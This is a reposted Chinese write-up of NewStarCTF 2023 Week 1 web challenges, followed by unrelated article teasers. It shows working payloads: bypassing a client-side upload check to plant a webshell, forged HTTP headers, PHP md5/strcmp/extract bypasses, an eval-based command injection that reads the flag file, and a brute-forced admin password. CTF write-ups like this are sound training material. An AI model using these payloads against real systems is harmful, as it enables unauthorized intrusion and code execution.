【Web】NewStarCTF Week1 个人复现

news2024/9/22 21:25:10

目录

①泄露的秘密

②Begin of Upload

③Begin of HTTP

④ErrorFlask 

⑤Begin of PHP 

⑥R!C!E!

⑦EasyLogin 


①泄露的秘密

盲猜/robots.txt,访问得到flag前半部分

第二个没试出来,老老实实拿dirsearch扫吧

访问/www.zip

下载附件,拿到第二部分

 

flag:

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous} 

②Begin of Upload

随便上传一个php文件

 发现有前端限制

 禁一手js

继续上传 

 

成功传马,直接rce即可,下略 

③Begin of HTTP

常规的题,不多解释

POST /?ctf=1 HTTP/1.1
Host: node4.buuoj.cn:28438
User-Agent: NewStarCTF2023
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: power=ctfer
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Referer:newstarctf.com
X-Real-IP: 127.0.0.1

secret=n3wst4rCTF2023g00000d

注意最后的伪造本地请求方式要字典爆破

④ErrorFlask 

看标题表述就是搞破坏让flask报错 

先正常传俩数字,回显告诉我们不是ssti

传个字母试试

payload:

?number1=a&number2=1

成功报错拿到flag

⑤Begin of PHP 

贴出源码

 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
} 

payload:

?key1[]=1&key2[]=2&key4[]=1&key5=2024.c

key3[]=1&flag5=![]

主要解释下level3和5 

level 3利用strcmp传入数组会返回0来绕过

level 5利用extract可以解析并创建变量,来psost一个flag5进去(因为发现源码中没有flag5)。另外对post内容做了限制,不能有字母数字,这里可以传一个![]进去,[]空数组会隐式转换为false,在!取反得到我们要的true

⑥R!C!E!

先是构造md5

 (默默掏出工具爆破)

最终payload:

password=114514&e[v.a.l=echo `tac /f*`;

⑦EasyLogin 

进来是个登录框

随便注册一个账号登录看看

没什么用,估计得admin登录

提示密码至少6位,尝试爆破6位密码 

爆破得密码为000000

 登录,发包得到302重定向,在repeater里看即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1244818.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QtCreator9.02不支持JDK11解决

最终效果 使用Android Studio 下载Android SDK Platform 31与Sources for Android 31 下载Android SDK Build Tools 31.0.0 下载NDK 25.1 ,23.1 ,21.3 重要: 下载Android SDK Command-Line Tools ,选择10.0或者9.0其中一个版本 其它版本不支持JDK11 ,本例选择10.0 下载CMak…

<JavaEE> 什么是线程(Thread)?进程和线程有什么区别?

目录 一、线程&#xff08;Thread&#xff09;的概念 二、线程存在的意义 2.1 并发编程 2.2 比进程更“轻量” 三、使用线程时应该注意 四、进程和线程的区别 五、Java中的线程和操作系统中的线程是不同的概念 六、多线程编程 一、线程&#xff08;Thread&#xff09;的…

力扣283:移动零(JAVA)

题目描述: 意思是将所有0移到最后的同时其余非0元素位置仍然不变 如 1 2 0 5 2 0 经过移动零后变为 1 2 5 2 0 0 思路:使用双指针的思路来写 fast:从左往右遍历数组 slow:非零元素最后的一个位置 将数组分为3个区间 [0,slow]为处理好的非0数据,slow永远指向最后一个非0数据 [s…

案例014:Java+SSM+uniapp+mysql基于微信小程序的健身管理系统

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;SSM JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder X 小程序…

Web服务器(go net/http) 处理Get、Post请求

大家好 我是寸铁&#x1f44a; 总结了一篇Go Web服务器(go net/http) 处理Get、Post请求的文章✨ 喜欢的小伙伴可以点点关注 &#x1f49d; 前言 go http请求如何编写简单的函数去拿到前端的请求(Get和Post) 服务器(后端)接收到请求后&#xff0c;又是怎么处理请求&#xff0c…

Ubuntu安装CUDA驱动

Ubuntu安装CUDA驱动 前言官网安装确认安装版本安装CUDA Toolkit 前言 CUDA驱动一般指CUDA Toolkit&#xff0c;可通过Nvidia官网下载安装。本文介绍安装方法。 官网 CUDA Toolkit 最新版&#xff1a;CUDA Toolkit Downloads | NVIDIA Developer CUDA Toolkit 最新版文档&…

致远M3 反序列化RCE漏洞复现(XVE-2023-24878)

0x01 产品简介 M3移动办公是致远互联打造的一站式智能工作平台&#xff0c;提供全方位的企业移动业务管理&#xff0c;致力于构建以人为中心的智能化移动应用场景&#xff0c;促进人员工作积极性和创造力&#xff0c;提升企业效率和效能&#xff0c;是为企业量身定制的移动智慧…

Python----类对象和实例对象

目录 一.类和类的实例 二.类属性和实例属性 三.私有属性和公有属性 四.静态方法和类方法 五.__init__方法&#xff0c;__new__方法和__del__方法&#xff1a; 六.私有方法和公有方法 七.方法的重载 八.方法的继承 九.方法的重写 十.对象的特殊方法 十一.对象的引用&a…

selenium下拉框的操作这样做,阿里p10都直呼牛逼

下拉框处理 web页面上经常会有下拉框&#xff0c;对下拉框的处理比较简单&#xff0c;一般分为两种情况&#xff1a; 一、下拉框通过元素定位识别 driver.find_element(By.XPATH,//option[value"peach"]).click() 二、创建一个select的对象&#xff0c;然后通过相…

C/C++小写字母的判断 2022年3月电子学会中小学生软件编程(C/C++)等级考试一级真题答案解析

目录 C/C小写字母的判断 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序编写 四、程序说明 五、运行结果 六、考点分析 C/C小写字母的判断 2022年3月 C/C编程等级考试一级编程题 一、题目要求 1、编程实现 输入一个字符&#xff0c;判断是否是英文小…

2023亚太杯数学建模C题思路分析 - 我国新能源电动汽车的发展趋势

1 赛题 问题C 我国新能源电动汽车的发展趋势 新能源汽车是指以先进技术原理、新技术、新结构的非常规汽车燃料为动力来源( 非常规汽车燃料指汽油、柴油以外的燃料&#xff09;&#xff0c;将先进技术进行汽车动力控制和驱动相结 合的汽车。新能源汽车主要包括四种类型&#x…

面试:RabbitMQ相关问题

文章目录 简单介绍RabbitMQRabbitMQ架构什么是 RabbitMQ&#xff1f;有什么显著的特点&#xff1f;RabbitMQ 有那些基本概念&#xff1f;RabbitMQ routing 路由模式消息怎么路由&#xff1f;RabbitMQ publish/subscribe 发布订阅(共享资源)能够在地理上分开的不同数据中心使用 …

用于计算机屏幕安全摄像头系统:Screen Anytime Crack

Screen Anytime 是一款软件&#xff0c;旨在自动将整个用户会话或 PC/服务器/VM/Kiosk 的 /RDP/Citrix/RemoteApp 会话的屏幕活动记录到视频日志文件中&#xff0c;以用于记录、审核和监控目的。通过重播其高度压缩的视频&#xff0c;您可以轻松回顾单台计算机或一组服务器/PC …

/etc/sudoers visudo

允许不输入密码 %wheel ALL(ALL) NOPASSWD: ALL %sudo ALL(ALL) NOPASSWD: ALL %wheel ALL(ALL:ALL) NOPASSWD: ALL %sudo ALL(ALL:ALL) NOPASSWD: ALLFedora39 对比 Ubuntu22.04.3 的 /etc/sudoers ## Next comes the main part: which users can run what software on ## …

由红黑树引出的HashMap扩容机制的思考

红黑树是什么&#xff1f; 三大特点&#xff1a; 根节点是黑色&#xff0c;叶节点是不存储数据的黑色空节点 任何相邻的两个节点不能同时为红色 任意节点到其可到达的节点间包含相同数量的黑色节点 联想&#xff1a;Java HashMap底层红黑树原理 HashMap基于哈希表Map接口实…

【Docker】从零开始:9.Docker命令:Push推送仓库(Docker Hub,阿里云)

【Docker】从零开始&#xff1a;9.Docker命令:Push推送仓库 知识点1.Docker Push有什么作用&#xff1f;2.Docker仓库有哪几种2.1 公有仓库2.2 第三方仓库2.3 私有仓库2.4 搭建私有仓库的方法有哪几种 3.Docker公有仓库与私有仓库的优缺点对比 Docker Push 命令标准语法操作参数…

补充:如何提高selenium的运行速度?

已经通读该专栏文章的同学,或许对UI自动化测试有了一定的掌握,细心的同学肯定会发现一个问题,当用例量达到一定程度时,对于整体用例的执行速度肯定不会很满意。除了应用多线程运行用例的方式加快速度,有没有其他的方法呢? 今天告诉大家,方法是有的!也是本人新学的。即…

golang学习笔记——创建项目

创建项目 从Go 1.8开始&#xff0c;将GOPATH设置为环境变量不是必需的。如果我们没有设置一个&#xff0c;Go使用默认的GOPATH为$HOME/go。可以使用go env查看环境变量信息。 创建项目 # 创建项目目录 mkdir helloLog cd helloLog # 使用go mod初始化项目,生成go.mod文件 go…

请你说一下Vue中v-if和v-for的优先级谁更高

v-if 与 v-for简介 v-ifv-forv-if & v-for使用 v-if 与 v-for优先级比较 vue2 中&#xff0c;v-for的优先级高于v-if 例子进行分析 vue3 v-if 具有比 v-for 更高的优先级 例子进行分析 总结 在vue2中&#xff0c;v-for的优先级高于v-if在vue3中&#xff0c;v-if的优先级高…

二叉树的顺序结构及实现

目录 1 二叉树的顺序结构2. 堆的概念及结构3 .堆的实现(小堆) 1 二叉树的顺序结构 普通的二叉树是不适合用数组来存储的&#xff0c;因为可能会存在大量的空间浪费。而完全二叉树更适合使用顺序结构存储。现实中我们通常把堆(一种二叉树)使用顺序结构的数组来存储&#xff0c;…